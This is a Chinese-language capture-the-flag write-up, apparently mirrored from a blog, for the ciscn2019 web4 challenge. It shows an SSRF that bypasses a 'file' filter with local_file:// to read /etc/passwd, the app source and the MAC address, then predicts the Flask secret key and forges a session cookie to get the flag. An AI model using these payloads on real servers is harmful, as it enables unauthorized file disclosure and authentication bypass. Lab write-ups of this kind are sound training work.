zoukankan      html  css  js  c++  java
  • ciscn2019华东南赛区web4题解

    进入题目页面会提示read something,点击会进入如下链接的页面:

    http://4970349e-b8c1-49e8-9594-666375a56ca2.node3.buuoj.cn/read?url=https://baidu.com
    

    页面显示no response。

    尝试利用url读取文件,使用file:///etc/passwd。

    提示no hack。

    看着url不像是PHP,因为我好像极少见过PHP用这种路由,直接冒一波险猜他是flask。使用local_file:///etc/passwd读取。

    冒险成功。

    接下来读app/app.py把源码拿下来。

    import re, random, uuid, urllib
    from flask import Flask, session, request
    
    app = Flask(__name__)
    random.seed(uuid.getnode())
    app.config['SECRET_KEY'] = str(random.random()*233)
    app.debug = True
    
    @app.route('/')
    def index():
        session['username'] = 'www-data'
        return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
    
    @app.route('/read')
    def read():
        try:
            url = request.args.get('url')
            m = re.findall('^file.*', url, re.IGNORECASE)
            n = re.findall('flag', url, re.IGNORECASE)
            if m or n:
                return 'No Hack'
            res = urllib.urlopen(url)
            return res.read()
        except Exception as ex:
            print str(ex)
        return 'no response'
    
    @app.route('/flag')
    def flag():
        if session and session['username'] == 'fuck':
            return open('/flag.txt').read()
        else:
            return 'Access denied'
    
    if __name__=='__main__':
        app.run(
            debug=True,
            host="0.0.0.0"
        )
    

    在源码中可以看到有一个flag路由,如果session的username为fuck可以直接得到flag。所以接下来的关键就是看看能不能伪造session。

    伪造session需要密钥,正好源码中涉及了。

    random.seed(uuid.getnode())
    app.config['SECRET_KEY'] = str(random.random()*233)
    

    对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

    使用的payload为local_file:///sys/class/net/eth0/address

    得到Mac地址为:02:42:ae:01:d9:0e。

    接下来使用python2求解,因为python3和python2的str保留的位数不一样。

    import random
    random.seed(0x0242ae01d90e)
    print(str(random.random()*233))
    

    得到115.152461339。

    接下来使用github的flask-session-manager进行加解密。

    首先解密session得到{u'username': 'www-data'},将www-data换成fuck并加密得到:

    eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XonT0Q.wFSm3JOFRrHW-whBsQRIwAn64_0。

    访问/flag并修改session得到flag。

  • 相关阅读:
    LeetCode–打印从1到最大的n位数
    常用十大算法(十)— 踏棋盘算法
    常用十大算法(九)— 弗洛伊德算法
    常用十大算法(八)— 迪杰斯特拉算法
    LeetCode–组合
    LeetCode–组合总和
    5513. 连接所有点的最小费用 kruskal
    152. 乘积最大子数组 dp
    1567. 乘积为正数的最长子数组长度 dp
    5481. 得到目标数组的最少函数调用次数. 位运算
  • 原文地址:https://www.cnblogs.com/kevinbruce656/p/12638984.html
Copyright © 2011-2022 走看看